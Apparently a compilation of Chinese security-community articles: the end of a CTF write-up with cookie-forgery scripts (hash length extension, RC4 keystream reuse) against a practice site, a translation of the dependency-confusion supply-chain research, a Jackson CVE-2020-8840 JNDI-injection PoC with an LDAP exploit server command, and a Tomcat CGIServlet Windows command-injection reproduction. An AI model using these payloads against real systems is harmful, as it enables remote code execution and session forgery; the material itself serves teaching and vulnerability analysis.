for j in range(len(res)):
if i == res[j][0]:
res_content+=res[j][1]
flag = True
break
if flag == False:
res_content+=i
print res_content
运行即可替换回正确的文本，个别符号需要微调，因为出现频率相同
故此得到flag
## login as admin 2
拿到源码分析一下，看到关键函数
function load_user()
{
global $secret, $error;
if(empty($_COOKIE['user'])) {
return null;
}
list($sig, $serialized) = explode('#', base64_decode($_COOKIE['user']), 2);
if(md5(md5($secret).$serialized) !== $sig) {
$error = 'Invalid session';
return false;
}
parse_str($serialized, $user);
return $user;
}
发现需要
md5(md5($secret).$serialized) === $sig
而
$serialized = http_build_query($user);
$sig = md5(md5($secret).$serialized);
$all = base64_encode("{$sig}#{$serialized}");
setcookie('user', $all, time()+3600);
现在我们的cookie中，user为
NmJjYjljOTE1NTk3NWE1M2U5NTFiMGI1MGYxMzc0ODAjbmFtZT1ndWVzdCZhZG1pbj0w
解码
6bcb9c9155975a53e951b0b50f137480#name=guest&admin=0
如此一来：
1.我们知道md5(salt.data)的值即sig
2.我们可以控制data
3.哈希长度拓展攻击即可
于是构造脚本
import hashpumpy
import base64
import requests
url = 'https://hackme.inndy.tw/login2/'
tmp = hashpumpy.hashpump('6bcb9c9155975a53e951b0b50f137480', 'name=guest&admin=0', 'name=guest&admin=1', 32)
payload = base64.b64encode(tmp[0]+'#'+tmp[1])
cookie = {
'user':payload
}
r =requests.get(url=url,cookies=cookie)
print r.content
运行得到
即可获得flag
## login as admin 5
我们看到关键代码
function set_session($user)
{
global $cipher;
$cookie = base64_encode($cipher->encrypt(json_encode($user)));
setcookie('user5', $cookie, time() + 60 * 60, '/', 'hackme.inndy.tw', true, true);
}
function restore_session()
{
global $cipher;
global $user;
$data = $cipher->decrypt(base64_decode($_COOKIE['user5']));
$user = json_decode($data, true);
}
发现加解密都用的rc4，然后明文直接使用了json
而我们可以知道json，又知道密文，那么可以反推rc4生成的流密钥
然后利用生成的流密钥，即可伪造消息
脚本如下
import base64
import urllib
import requests
c = base64.b64decode('U/osUbnY8nSrWz4WPwKSwWPzKq9tOIQ9eCWnN5E+')
plain = '{"name":"guest","admin":false}'
res = ''
for i in range(len(c)):
res += chr(ord(c[i])^ord(plain[i]))
need = '{"name":"guest","admin":true}'
payload = ''
for i in range(len(need)):
payload += chr(ord(need[i])^ord(res[i]))
payload = urllib.quote(base64.b64encode(payload))
cookie = {
'user5':payload
}
url = "https://hackme.inndy.tw/login5/"
r = requests.get(url=url,cookies=cookie)
print r.content
得到结果
## xor
运行github开源的xortool脚本
G:\python2.7\Scripts>python xortool -c 20 xor
The most probable key lengths:
1: 8.6%
3: 10.6%
6: 9.4%
9: 21.8%
12: 7.1%
15: 6.2%
18: 14.1%
27: 9.7%
36: 7.1%
45: 5.4%
Key-length can be 3*n
1 possible key(s) of length 9:
hackmepls
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
得到key：`hackmepls`
运行脚本解密
f1 = open("xor","rb")
key = "hackmepls"
f3 = open("flagtest.txt","wb")
# key = f2.read().replace(" ", "")
# key = "47 6F 6F 64 4C 75 63 6B 54 6F 59 6F 75".replace(" ", "").decode("hex")
flag = f1.read()
flag_length = len(flag)
key_length = len(key)
flag_res = ""
for i in range(0,flag_length):
xor_str = chr(ord(flag[i])^ord(key[i%key_length]))
flag_res += xor_str
f3.write(flag_res)
f3.close()
即可在解密后的明文中找到flag
得到flag
## emoji
拿到题目后丢进
https://tool.lu/js/
解密，得到
console.log((function() {
if (typeof(require) == 'undefined') return '(´・ω・`)';
var code = require('process').argv[2];
if (!code) return '(´・ω・`)';
String.prototype.zpad = function(l) {
return this.length < l ? '0' + this.zpad(l - 1) : this
};
function encrypt(data) {
return '"' + (Array.prototype.slice.call(data).map((e) = > e.charCodeAt(0)).map((e) = > (e * 0xb1 + 0x1b) & 0xff).map((e) = > '\\u' + e.toString(16).zpad(4))).join('') + '"'
}
var crypted = ".......";
if (JSON.parse(encrypt(code)) != crypted) return '(´・ω・`)';
try {
eval(code)
} catch (e) {
return '(´・ω・`)'
}
return '(*´∀`)~♥'
})())
观察到关键代码
var crypted = ".......";
if (JSON.parse(encrypt(code)) != crypted) return '(´・ω・`)';
try {
eval(code)
} catch (e) {
return '(´・ω・`)'
}
关键点应该是解密crypted去得到code
跟到加密函数，发现直接爆破即可，于是写出脚本
def crack(n):
for i in range(256):
if (i * 0xb1 + 0x1b) & 0xff == n:
return i
crypted=u'......'
res = [crack(ord(i)) for i in crypted]
code = ''
for j in res:
code += chr(j)
print code
得到代码
$$$=~[];$$$={___:++$$$,$$$$:(![]+"")[$$$],__$:++$$$,$_$_:(![]+"")[$$$],_$_:++$$$,$_$$:({}+"")[$$$],$$_$:($$$[$$$]+"")[$$$],_$$:++$$$,$$$_:(!""+"")[$$$],$__:++$$$,$_$:++$$$,$$__:({}+"")[$$$],$$_:++$$$,$$$:++$$$,$___:++$$$,$__$:++$$$};$$$.$_=($$$.$_=$$$+"")[$$$.$_$]+($$$._$=$$$.$_[$$$.__$])+($$$.$$=($$$.$+"")[$$$.__$])+((!$$$)+"")[$$$._$$]+($$$.__=$$$.$_[$$$.$$_])+($$$.$=(!""+"")[$$$.__$])+($$$._=(!""+"")[$$$._$_])+$$$.$_[$$$.$_$]+$$$.__+$$$._$+$$$.$;$$$.$$=$$$.$+(!""+"")[$$$._$$]+$$$.__+$$$._+$$$.$+$$$.$$;$$$.$=($$$.___)[$$$.$_][$$$.$_];$$$.$($$$.$($$$.$$+"\""+$$$.$$__+$$$._$+"\\"+$$$.__$+$$$.$_$+$$$.$$_+"\\"+$$$.__$+$$$.$$_+$$$._$$+$$$._$+(![]+"")[$$$._$_]+$$$.$$$_+"."+(![]+"")[$$$._$_]+$$$._$+"\\"+$$$.__$+$$$.$__+$$$.$$$+"(\\\"\\"+$$$.__$+$$$.___+$$$.$$_+"\\"+$$$.__$+$$$.__$+$$$.$__+"\\"+$$$.__$+$$$.___+$$$.__$+"\\"+$$$.__$+$$$.___+$$$.$$$+"{\\"+$$$.__$+$$$.__$+$$$._$_+"\\"+$$$.__$+$$$._$_+$$$._$$+"\\"+$$$.$__+$$$.___+"\\"+$$$.__$+$$$.___+$$$.$_$+"\\"+$$$.__$+$$$.$_$+$$$.$$_+$$$.$$__+$$$._$+$$$.$$_$+$$$.$$$_+"\\"+$$$.__$+$$$.$$_+$$$._$_+"\\"+$$$.$__+$$$.___+"\\"+$$$.__$+$$$._$_+$$$._$$+$$$._+$$$.$$__+"\\"+$$$.__$+$$$.$_$+$$$._$$+"\\"+$$$.__$+$$$.$$_+$$$._$$+"}\\\");"+"\"")())();
丢进控制台
即可得到flag
## multilayer
解题脚本
import base64
from Crypto.Util import number
n=0x80dd2dec6684d43bd8f2115c88717386b2053bdb554a12d52840380af48088b7f1f71c3d3840ef4615af318bbe261d2d2d90616c0d2dcb6414e05c706f2b6d700ed98128048a2b79f57d2c6476add369ec96fb0fed936506d9aee4da5d36aaa97f117b082924c0638923e4367f250cc6cd23918702d98c5359bbb6bad2bef741c65362ad40355fd2edb35248256413d0ee576e7a351f17b9a5a3a7eebbbb2b22f27c342ef6dcaf1396085a105cf5e8b9bbf80e002053347fd9db6e83dc63599b1e1e5a81f7f2e4e2473bc2d14d040c9c6e6f62b9027853c7550a10df49c3a786962c9e9d5b95551a95077d0bd354b88ef31c5625e21edf98f721504f73e1b867
e=0xcf98d5
lines = open('encrypted').readlines()
data = base64.b64decode(lines[3].strip())
def xor(a, b):
res=''
for i in range(len(a)):
res+=chr(ord(a[i])^ord(b[i]))
return res
dec = {}
for i in range(0x10000):
x = b'%.4x' % i
v = number.bytes_to_long(x)
dec[pow(v, e, n)] = x
raw = b''
for i in range(256, len(data), 256):
prev = data[i-256:i]
curr = int(xor(prev, data[i:i+256]).encode('hex'), 16)
raw += dec[curr]
data = raw.decode('hex')
r = number.inverse(17, 251)
for key in range(0,256):
output=''
res=''
for i in data:
key = (key * 0xc8763 + 9487) % 0x10000000000000000
output+=chr((ord(i) ^ key) & 0xff)
for i in output:
res += chr((ord(i)*r)%251)
if res[4:5]=='{' and res[-2:] == '}\n':
print res
break
详细题解:
<https://xz.aliyun.com/t/2627>
## ffa
解题脚本
from z3 import *
from primefac import *
import libnum
M=349579051431173103963525574908108980776346966102045838681986112083541754544269
p=240670121804208978394996710730839069728700956824706945984819015371493837551238
q=63385828825643452682833619835670889340533854879683013984056508942989973395315
z=213932962252915797768584248464896200082707350140827098890648372492180142394587
m=282832747915637398142431587525135167098126503327259369230840635687863475396299
x=254732859357467931957861825273244795556693016657393159194417526480484204095858
y=261877836792399836452074575192123520294695871579540257591169122727176542734080
a, b, c = BitVecs('a b c', 262)
s = Solver()
s.add(UGT(a, pow(2, 256, m)))
s.add(ULT(a, pow(2, 257, m)))
s.add(UGT(b, pow(2, 256, m)))
s.add(ULT(b, pow(2, 257, m)))
s.add(UGT(c, pow(2, 256, m)))
s.add(ULT(c, pow(2, 257, m)))
s.add(x == (a + b * 3) % m)
s.add(y == (b - c * 5) % m)
s.add(z == (a + c * 8) % m)
while s.check() == sat:
A,B= s.model()[a].as_long(),s.model()[b].as_long()
if gcd(A,B) == 1:
break
s1,s2,tmp = libnum.xgcd(A, B)
if s1<0:
s1 = - s1
p = modinv(p, M)
if p<0:
p+=M
elif s2<0:
s2 = - s2
q = modinv(q, M)
if q<0:
q+=M
m=(pow(p,s1,M)*pow(q,s2,M)) % M
print libnum.n2s(m)
详细题解：
<https://www.anquanke.com/post/id/156915>
## 后记
欢迎师傅们讨论，菜鸡献丑了！ | 社区文章 |
# 不规范的依赖管理:我如何入侵苹果，微软和数十家公司(新型供应链攻击的故事)
自从我开始学习如何编程，我一直对执行如下一条简单命令的信任程度所吸引。
pip install package_name
某些编程语言，如Python，附带一种简单，接近官方的方法用于为项目安装依赖项。这些安装程序通常与公开代码存储库绑定，在哪里任何人都可以自由上传代码包供他人使用。
你可能已经听说过这些工具-比如Node有`npm`和npm注册表,Python的`pip`使用PyPI(Python包索引)，和Ruby的gem可以在RubyGems找到。
当下载和使用来自任何资源的包，你基本是信任它的发行者在你的机器上运行代码的。那么这种盲目的信任会被恶意行为者利用吗？
答案是: 当然可以
任何程序包托管服务都无法保证其用户上传的所有代码都是无害的。[过去的研究](https://incolumitas.com/2016/06/08/typosquatting-package-managers/)表明， _typosquatting_
(利用流行软件包名称的错字版本进行攻击)能够非常有效地获取来自全世界各地的随机PC的访问权限。
其他众所周知的依赖项链条攻击路径，包括使用各种方法去破坏现存的软件包，或以不再存在的依赖项名称上传恶意代码。
## 想法
在2020年夏季，Justin
Gardner（[@Rhynorater](https://twitter.com/Rhynorater)）尝试与我入侵PayPal时，分享了在Github上发现有趣的Node.js源码。
该代码旨在供内部PayPal使用，在它的的`package.json`文件中，出现了包含公共依赖和私有依赖混合的情况-公共的软件包来自npm,而非公共的软件包名称，很有可能由PayPal内部托管。这些名称当时在公共npm注册表并不存在。
由于此处不清楚从何处导入包的逻辑，因此产生了几个问题：
* 如果以这些名称将恶意代码上传到npm会发生什么？PayPal的一些内部项目是否有可能开始默使用新的公共软件包而不是私有软件包？
* 开发人员甚至自动化系统会开始在库中运行代码吗？
* 如果这行得通，我们可以从中获得赏金吗？
* 这种攻击还会对其他公司起作用吗？
事不宜迟，我开始制定计划来回答这些问题。
这个想法是将我自己的“恶意”
Node程序包以无人使用的名称上传到npm注册表中，这将会导致从安装它们的计算机"打电话回家"(PS.发送敏感信息到达我自己建立的DNS服务器)。如果最终将任何软件包安装在PayPal拥有的服务器上（或其他任何地方），就此而言，其中的代码会立即发送信息通知我。
在这一点上，我觉得很重要的一点是，必须明确指出，在此研究过程中所针对的每个组织都已允许通过公共漏洞赏金计划或通过私人协议来对其安全性进行测试。
**未经授权，请勿尝试这种测试** 。
## DNS 永远滴神
值得庆幸的是，npm允许在安装软件包时自动执行任意代码，这使我可以轻松创建一个Node软件包，该软件包通过其`preinstall`脚本收集有关所安装的每台计算机的一些基本信息。
为了在基于数据识别组织的能力与避免收集太多敏感信息之间取得平衡，我决定只记录用户名，主机名和每个唯一安装的当前路径。与外部IP一起使用的数据就足够了，可以帮助安全团队根据我的报告确定可能受到攻击的系统，同时避免将我的测试误认为是实际的攻击。
现在剩下一件事了—我该如何得到这些返回的数据？
众所周知，大多数可能的目标都将位于受到良好保护的企业网络内部，我认识到DNS窃取是解决的好方法，值得尝试。
## 多多益善
有了攻击的基本计划，现在是时候发现更多可能的目标了。
第一个策略是寻找替代生态系统进行攻击。因此，我将代码移植到了Python和Ruby上，以便能够分别将相似的软件包上传到PyPI（Python软件包索引）和RubyGems。
但是，该测试最重要的部分可以说是找到尽可能多的相关依赖项的名称。
在搜索了一些目标公司的私有软件包名称的整整几天后，发现可以在GitHub以及主要软件包托管服务（偶然发布的内部软件包内部）内部的主要软件包托管服务中找到许多其他名称
--甚至在各种互联网论坛上的帖子。
但是，到目前为止，找到私有程序包名称的最佳位置竟然是…在javascript文件中。
显然，`package.json`包含javascript项目依赖项名称的内部文件在构建过程中会嵌入到公共脚本文件中，从而暴露内部程序包名称，这是很常见的。同样，这些文件中泄漏的内部路径或`require()`调用也可能包含依赖项名称。苹果，Yelp和特斯拉只是以这种方式公开内部名称的公司的一些例子。
在2020年下半年，由于[@streaak](https://twitter.com/streaak)的帮助和他出色的侦察技能，我们能够自动扫描属于目标公司的数百万个域，并提取数百个尚未npm注册表声明的javascript程序包名称。
然后，我将代码上传到所有找到的名称下的包托管服务中，并等待回调。
## **结果**
成功率简直是惊人的。
从开发人员在自己的计算机上犯下的一次性错误，到内部配置不当或基于云的构建服务器，再到系统易受攻击的开发管道，结论很明显：抢占正当的内部软件包名称几乎是一种肯定的方法去进入一些最大的科技公司的网络，然后可以远程执行代码，并且可能允许攻击者在构建过程中添加后门。
迄今为止，这类型的漏洞，我已经开始称其为< _依赖混淆_
>,且在超过35个组织的所有三种测试的编程语言中检测到该类型问题。绝大多数受影响的公司属于1000多名员工类别，这很可能反映了大型组织内部使用内部私有库的普遍性。
由于更容易找到javascript依赖项名称，几乎所有已记录的回调中有75％来自npm软件包-但这并不一定意味着Python和Ruby不太容易受到攻击。实际上，尽管在我的搜索过程中只能识别属于八个组织的内部Ruby
gem名称，但事实证明，其中有四家公司很容易通过RubyGems造成依赖混淆。
加拿大电子商务巨头Shopify是这样的公司之一，其构建系统在我上载后仅几个小时就自动安装了一个名为`shopify-cloud`的Ruby gem
，然后尝试在其中运行代码。Shopify团队在一天之内准备好修复程序，并为发现问题提供了30,000美元的漏洞赏金。
另外30,000美元的奖励来自于苹果，我于2020年8月上传到npm的Node包中的代码在其网络内的多台计算机上执行。受影响的项目似乎与Apple的身份验证系统（外部称为Apple
ID）有关。
当我提出这个错误可能使威胁者向Apple ID注入后门的想法时，Apple并不认为这种影响水平可以准确说明问题，而是说：
> _在运营服务中实现后门需要更复杂的事件序列，这是一个带有附加含义的非常特定的术语。_
但是，Apple确实承认使用此npm软件包技术可以在Apple服务器上执行远程代码。根据软件包安装的流程，该问题在我报告后的两周内得到了解决，但仅在发布此帖子之前不到一天就授予了赏金漏洞。
在针对其他公司的其他几次成功攻击中，可以看到在内部服务器和个人开发人员的PC上都安装了相同主题的npm软件包，其中一些安装通常是在软件包上传后数小时甚至几分钟进行的。
哦，这一切开始于PayPal的名字吗？这些也奏效了，又产生了3万美元的赏金。实际上，大多数已授予的Bug赏金都设置为每个程序的策略所允许的最大数量，有时甚至更高，这说明了依赖混淆bug的严重性通常很高。
其他受影响的公司包括Netflix，Yelp和Uber。
## 这不是一个Bug，这是一个功能
尽管发现了大量的依赖混淆，但一个细节在某个程度上依然是不清晰的:为什么会这样? 导致此类的漏洞真正原因是什么？
大多数受影响的组织都不愿透露有关其根本原因和缓解策略的更多技术细节，但是在我的研究过程中以及与安全团队的沟通中确实出现了一些有趣的细节。
例如，Python依赖关系混乱的罪魁祸首似乎是错误地使用了“设计不安全”命令行参数`--extra-index-url`。带上此参数使用`pip
install library`指定您自己的包索引时，您可能会发现它可以按预期工作，但是`pip`背后的实际操作是这样的：
* 检查`library`指定（内部）包索引上是否存在
* 检查 **公共** 包索引（PyPI）是否`library`存在
* 安装找到的任何版本。如果两个软件包均存在，则默认从具有 **更高版本号** 的源进行安装。
因此，`library 9000.0.0`在上面的示例中，上传名为PyPI的程序包将导致依赖关系被劫持。
尽管这种行为已经广为人知，但简单地在GitHub上搜索`--extra-index-url`就足以找到一些属于大型组织的易受攻击的脚本-包括一个影响Microsoft .NET Core组件的bug。不幸的是，[该漏洞](https://github.com/dotnet/dotnet-buildtools-prereqs-docker/commit/56c6673d3aa6c6d9887a5a584b814b10da7b7177#diff-14d7481c475cdd006d8421a767a8af12330cd68de62b26551644b3e05a3a3891L47)可能已允许向.NET
Core添加后门程序，但[该漏洞](https://github.com/dotnet/dotnet-buildtools-prereqs-docker/commit/56c6673d3aa6c6d9887a5a584b814b10da7b7177#diff-14d7481c475cdd006d8421a767a8af12330cd68de62b26551644b3e05a3a3891L47)在.NET
Bug赏金计划中未发现。
Ruby的`gem install --source`工作方式也与此类似，但是我无法确定其用法是否是我发现所有该类漏洞的根本原因。
当然，更改`--extra-index-url`为`--index-url`是快速而直接的解决方法，但是事实证明，依赖混淆的其他一些变体很难缓解。
JFrog
Artifactory是一款广泛用于托管各种类型内部软件包的软件，它提供了将内部和公共库混合到同一“虚拟”存储库中的可能性，从而大大简化了依赖性管理。但是，多个客户表示Artifactory使用上述完全相同的易受攻击算法来决定遭遇相同名称时，是使用内部还是外部程序包。在撰写本文时，无法更改此默认行为。
据报道，JFrog意识到了这个问题，但一直对待可能的解决方案视为“功能请求”，而没有看到ETA，在此期间，其一些客户则诉诸于将系统策略更改应用于依赖项管理，以减轻依赖项中的依赖项混乱。
Microsoft还提供了类似的名为Azure
Artifacts的程序包托管服务。根据我的一份报告，对该服务进行了一些小的改进，以确保它可以为依赖项混淆漏洞提供可靠的解决方法。有趣的是，没有通过测试Azure
Artifacts去发现此问题，而是通过成功攻击Microsoft自己的基于云的Office
365来发现此问题，该报告得到了在Azure可能获得的最高奖励40,000美元。
有关根本原因和预防建议的更多详细信息，您可以查阅Microsoft的白皮书“[使用专用软件包供稿时缓解风险的3种方法](https://aka.ms/pkg-sec-wp)”。
## 未来的研究？
尽管许多大型科技公司已经意识到这种漏洞，并已在其基础架构中对其进行了修复，或者正在努力实施缓解措施，但我仍然感到可以继续有很多发现。
具体来说，我相信找到泄漏内部程序包名称的新方法将揭示更多易受攻击的系统，而寻找其他的编程语言和目标存储库将暴露依赖混淆Bug的其他攻击面。
话虽这么说，无论您的经验水平如何，我都竭诚鼓励您花一些时间在脑海中尝试一下该想法-无论它是否与依赖项管理安全性相关。
## 致谢
* [@EdOverflow](https://twitter.com/EdOverflow)和[@prebenve](https://twitter.com/prebenve)，他们在我之前曾独立研究过类似类型的攻击，但不幸的是尚未发布他们的发现
* Justin Gardner（[@Rhynorater](https://twitter.com/Rhynorater)），分享了激发最初想法的代码，并校对了这篇文章
* [@streaak](https://twitter.com/streaak)，用于帮助找到许多易受攻击的目标，并且与之合作非常棒
* [Ettic](https://blog.ettic.ca/)，出色的工具dnsbin的创建者，我曾用它记录DNS回调
* Ohm M.，Plate H.，Sykosch A.，Meier M.（2020）[“ Backstabber的刀收藏：开源软件供应链攻击的回顾”](https://doi.org/10.1007/978-3-030-52683-2_2)。DIMVA2020。计算机科学讲座，第12223卷。Cham Springer（供应链攻击树插图的来源）
* 所有支持公共Bug赏金计划的公司，使我们有可能花费时间来研究像这样的想法。谢谢！
> 本文为翻译文章,原文链接:<https://medium.com/@alex.birsan/dependency-> confusion-4a5d60fec610> | 社区文章 |
# 以CVE-2020-8840为例分析Jackson漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面讲了FastJson的相关漏洞，温少属实辛苦。这次来看下另一种JSON解析库：“世界上最好的JSON解析库—Jackson”，并以CVE-2020-8840来详细分析下Jackson的漏洞。
## 0x01 Jackson的介绍和使用
FastJson将思路全都集中到“速度快”上去，而偏离了“标准”及功能性，质量也不够好，有点“舍本逐末”的味道。而Jackson不仅开源稳定易使用，而且拥有Spring生态加持，更受使用者的青睐。
目前Jackson主要有两个分支：
* 1.x分支，处于维护模式
* 2.x是正在开发的版本
Jackson由三个核心部分组成：
* jackson-core：核心包，提供基于流模式API
* jackson-annotations：注解包，提供标准注解功能
* jackson-databind：数据绑定包， 提供基于”对象绑定” 解析的相关 API （ ObjectMapper ） 和”树模型” 解析的相关 API
### JacksonPolymorphicDeserialization
JacksonPolymorphicDeserialization意为Jackson多态类型处理功能，有两种方式：
* Global default typing
* Per-class annotations
Global default typing配置哪些类被序列化：
* JAVA_LANG_OBJECT：仅影响Object.class类型的属性
* OBJECT_AND_NON_CONCRETE：影响Object.class和所有非具体类型（抽象类，接口）PS：无参时默认为此项
* NON_CONCRETE_AND_ARRAYS：与上面相同，并且所有数组类型都相同（直接元素是非具体类型或Object.class）
* NON_FINAL：影响所有未声明为“final”的类型，以及非final元素类型的数组类型
### Per-class annotations
除了Global default typing，还可以利用[@JsonTypeInfo](https://github.com/JsonTypeInfo
"@JsonTypeInfo")注解来控制序列化和反序列化。
[@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")一共支持五种注解：
* [@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")(use = JsonTypeInfo.Id.NONE)
* [@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")(use = JsonTypeInfo.Id.CLASS)
* [@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")(use = JsonTypeInfo.Id.MINIMAL_CLASS)
* [@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")(use = JsonTypeInfo.Id.NAME)
* [@JsonTypeInfo](https://github.com/JsonTypeInfo "@JsonTypeInfo")(use = JsonTypeInfo.Id.COSTOM)
### Jackson的栗子
以默认OBJECT_AND_NON_CONCRETE为例演示一下它的功能：
package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class JavaLangObject {
public static void main(String[] args) throws IOException {
People Me = new People();
Me.age = 20;
Me.object = new patrilic();
Me.name = new MyName();
Me.name.setName("lceCre4m");
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = mapper.writeValueAsString(Me);
System.out.println("序列化");
System.out.print(json);
System.out.println("\n");
People Mee = mapper.readValue(json, People.class);
System.out.println("反序列化");
System.out.println(Mee);
}
}
class People {
public int age;
public Name name;
public Object object;
@Override
public String toString() {
return String.format("age = %d, object = %s, name = %s", age, object, name);
}
}
class patrilic {
public int length = 100;
}
class MyName implements Name {
String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
interface Name {
public void setName(String name);
public String getName();
}
此时正常输出：
序列化
{"age":20,"name":["com.jackson.MyName",{"name":"lceCre4m"}],"object":["com.jackson.patrilic",{"length":100}]}
反序列化
age = 20, object = com.jackson.patrilic@4cf777e8, name = com.jackson.MyName@2f686d1f
若使用JAVA_LANG_OBJECT，在反序列化时会报错，因为例子中存在非具体类型。
## 0x02 Jackson漏洞简述
Jackson的漏洞主要集中在jackson-databind中，当启用Global default
typing，类似于FastJson的autoType，会存在各种各样的反序列化绕过类，而官方更新的防护措施一般都是将新出现的恶意类加入黑名单，不过这种方式治标不治本，最近jackson-databind的绕过出现不少。
下面仅以xbean-reflect类（影响2.0.0 – 2.9.10.2）为例，详细分析下Jackson的反序列化漏洞。
## 0x03 Jackson漏洞详细分析
### 环境搭建
环境：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar + IDEA
首先创建好项目后添加相关依赖，之后创建poc.java：
//poc.java
package com.jackson;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class poc {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
mapper.readValue(json, Object.class);
}
}
然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建ldap环境：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
启动后触发payload
### 动态分析
首先在 mapper.readValue(json, Object.class)下断点，进行调试
单步步入_readMapAndClose()，读取JSON，配置DeserializationContext后，到达else段
然后继续步入到BeanDeserializer.class#deserialize()，步入vanillaDeserialize()
在vanillaDeserialize()里调用了createUsingDefault()，里面通过call()创建实例
返回vanillaDeserialize()后，调用了deserializeAndSet()
可以看到获取value值后，调用了_setter.invoke(instance, value)
步入后，通过传进的text触发，继续步入toObject()
在toObject()调用JndiConverter重写的toObjectImp()
进入恶意类，出现lookup()，JNDI注入，其中text可控，为我们传入的参数
完整调用如下：
最新版的黑名单：
。。。太长了
## 0x04 结语
这次继FastJson后分析了Jackson的一个漏洞，其他的Jackson-databind漏洞利用也类似，基本就是换个外部类，修复就是加入黑名单。之后分析一下java的gadget，像是Commons
Collections、RMI、JNDI等等。 | 社区文章 |
**作者：Lyle**
**来源：<https://xz.aliyun.com/t/4875>**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
## 简述
### 利用前提
该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误，使得CGIServlet被命令注入影响。
该漏洞只影响Windows平台，要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
### 时间线
* 报告漏洞 2019-3-3
* 漏洞公开 2019-4-10
### 漏洞影响范围
* Apache Tomcat 9.0.0.M1 to 9.0.17
* Apache Tomcat 8.5.0 to 8.5.39
* Apache Tomcat 7.0.0 to 7.0.93
## 复现
笔者使用的复现环境为9.0.12 + JRE 1.8.0。
首先进行CGI相关的配置，在 `conf/web.xml` 中启用CGIServlet：
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
这里主要的设置是 `enableCmdLineArguments` 和 `executable` 两个选项。
`enableCmdLineArguments` 启用后才会将Url中的参数传递到命令行， `executable` 指定了执行的二进制文件，默认是
`perl`，需要置为空才会执行文件本身。
同样在 `conf/web.xml` 中启用cgi的servlet-mapping
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
之后修改 `conf/context.xml` 的 `<Context>` 添加 `privileged="true"`属性，否则会没有权限
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!-- <Manager pathname="" />
-->
</Context>
然后在 `ROOT\WEB-INF` 下创建 `cgi-bin` 目录, 并在该目录下创建一个内容为 `echo Content-type:
text/html` 的 `e.bat` 文件。
配置完成后，启动tomcat，访问 `http://127.0.0.1:8080/cgi-bin/e.bat?&ver` ，可以看到命令执行成功。
## 原理
漏洞相关的代码在 `tomcat\java\org\apache\catalina\servlets\CGIServlet.java`
中，CGIServlet提供了一个cgi的调用接口，在启用 `enableCmdLineArguments` 参数时，会根据RFC
3875来从Url参数中生成命令行参数，并把参数传递至Java的 `Runtime` 执行。 这个漏洞是因为
`Runtime.getRuntime().exec`
在Windows中和Linux中底层实现不同导致的。下面以一个简单的case来说明这个问题，在Windows下创建arg.bat：
rem arg.bat
echo %*
并执行如下的Java代码
String [] cmd={"arg.bat", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
在Windows下会输出 `arg` 和 `dir` 命令运行后的结果。同样的，用类似的脚本在Linux环境下测试：
# arg.sh
for key in "$@"
do
echo '$@' $key
done
String [] cmd={"arg.sh", "arg", "&", "dir"};
Runtime.getRuntime().exec(cmd);
此时的输出为
$@ arg
$@ &
$@ dir
导致这种输出的原因是在JDK的实现中 `Runtime.getRuntime().exec` 实际调用了 `ProcessBuilder` ，而后
`ProcessBuilder` 调用 `ProcessImpl`使用系统调用 `vfork` ，把所有参数直接传递至 `execve`。
用 `strace -F -e vfork,execve java Main` 跟踪可以看到上面的Java代码在Linux中调用为
execve("arg.sh", ["arg.sh", "arg", "&", "dir"], [/* 23 vars */])
而如果跟踪类似的PHP代码 `system('arg.sh arg & dir');` ，得到的结果为
execve("/bin/sh", ["sh", "-c", "arg.sh arg & dir"], [/* 23 vars */])
所以Java的 `Runtime.getRuntime().exec` 在CGI调用这种情况下很难有命令注入。
Windows中创建进程使用的是 `CreateProcess` ，会将参数合并成字符串，作为 `lpComandLine` 传入
`CreateProcess` 。程序启动后调用 `GetCommandLine` 获取参数，并调用 `CommandLineToArgvW` 传至
argv。在Windows中，当 `CreateProcess` 中的参数为 bat 文件或是 cmd 文件时，会调用 `cmd.exe` , 故最后会变成
`cmd.exe /c "arg.bat & dir"`，而Java的调用过程并没有做任何的转义，所以在Windows下会存在漏洞。
除此之外，Windows在处理参数方面还有一个特性，如果这里只加上简单的转义还是可能被绕过， 例如 `dir "\"&whoami"`
在Linux中是安全的，而在Windows会执行命令。
